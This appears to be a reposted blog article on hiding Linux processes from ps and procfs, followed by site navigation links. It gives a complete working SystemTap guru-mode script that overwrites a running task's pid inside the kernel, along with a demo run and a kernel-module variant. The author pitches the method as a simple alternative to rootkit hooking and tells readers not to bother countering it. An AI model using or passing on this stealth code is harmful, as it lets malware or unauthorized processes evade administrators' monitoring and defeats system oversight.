One line of code teaches you how to hide Linux processes

One line of code teaches you how to hide Linux processes

Friends always ask me how to hide Linux processes. I ask them how hidden you want to be, hidden in the kernel or hidden from users.

The discussions online are all about hooking procfs or similar user-mode solutions, and they are all lengthy. I say that these scenarios are too big and too complicated. For those who want to see immediate results, seeing such a bunch of complicated things will probably discourage them.

This article introduces an unconventional method to hide Linux processes from users with just one line of code:

Just modify the pid of the process.

Note that it was Xiao Yin, so it's not worth countering. Just play a prank on the senior conference engineer for fun.
target->pid = 0x7fffffff;

The complete script is as follows:

#!/usr/bin/stap -g
#hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

Come on, try it:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]#

You can use the following command to detect all binary files that can display processes:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

If it is gone in procfs, ps will of course not be able to detect it.

If you think the guru-mode stap is weird, you can write your own independent Linux kernel module and use the modification and exit method:

target->pid = xxxx;
return -1;

Isn’t it much simpler than various hook methods? The so-called moving data instead of code!

Let me briefly explain the principle.

  • When a task is created, the procfs directory structure is registered according to its pid.
  • When displaying the procfs directory structure, traverse the task list using its pid as the key to find the procfs directory structure.
  • 0x7fffffff (or any other reasonable value) is not registered at all and of course cannot be displayed.

No more words.

Once again, don't try to counter the methods described in this article, because something so simple is not worth countering, haha, right?

You can refer to my previous Rootkit series of articles to continue studying how Linux processes hide in the kernel. At the same time, I have given countermeasures for each method.

This is the end of this article about how to hide Linux processes with one line of code. For more information about Linux hidden processes, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • linux No space left on device 500 error caused by inode fullness
  • How to view the behavior of search engine spider crawlers in Linux/Nginx
  • Linux gzip command compression file implementation principle and code examples
  • Distinguishing between Linux hard links and soft links
  • Use of Linux ipcs command
  • Detailed tutorial on deploying SpringBoot + Vue project to Linux server
  • 5 Commands to Use the Calculator in Linux Command Line
  • Use of Linux ls command
  • Use of Linux sed command
  • Detailed explanation of Linux index node inode

<<:  Practical record of Vue3 combined with TypeScript project development

>>:  Analysis of the new features of MySQL 8.0 - transactional data dictionary and atomic DDL

Recommend

js to achieve simple image drag effect

This article shares the specific code of js to ac...

MySQL compression usage scenarios and solutions

Introduction Describes the use cases and solution...

Detailed analysis of replication in Mysql

1.MySQL replication concept It means transferring...

React event mechanism source code analysis

Table of contents Principle Source code analysis ...

Detailed explanation of the use of JavaScript functions

Table of contents 1. Declare a function 2. Callin...

Detailed explanation of asynchronous iterators in nodejs

Table of contents Preface What are asynchronous i...

Detailed explanation of Linux index node inode

1. Introduction to inode To understand inode, we ...

A detailed account of the process of climbing a pit of Docker deployment service

First time writing. Allow me to introduce myself....

css add scroll to div and hide the scroll bar

CSS adds scrolling to div and hides the scroll ba...

Vue uses Amap to realize city positioning

This article shares the specific code of Vue usin...

JavaScript Dom implements the principle and example of carousel

If we want to make a carousel, we must first unde...

Detailed explanation of making shooting games with CocosCreator

Table of contents Scene Setting Game Resources Tu...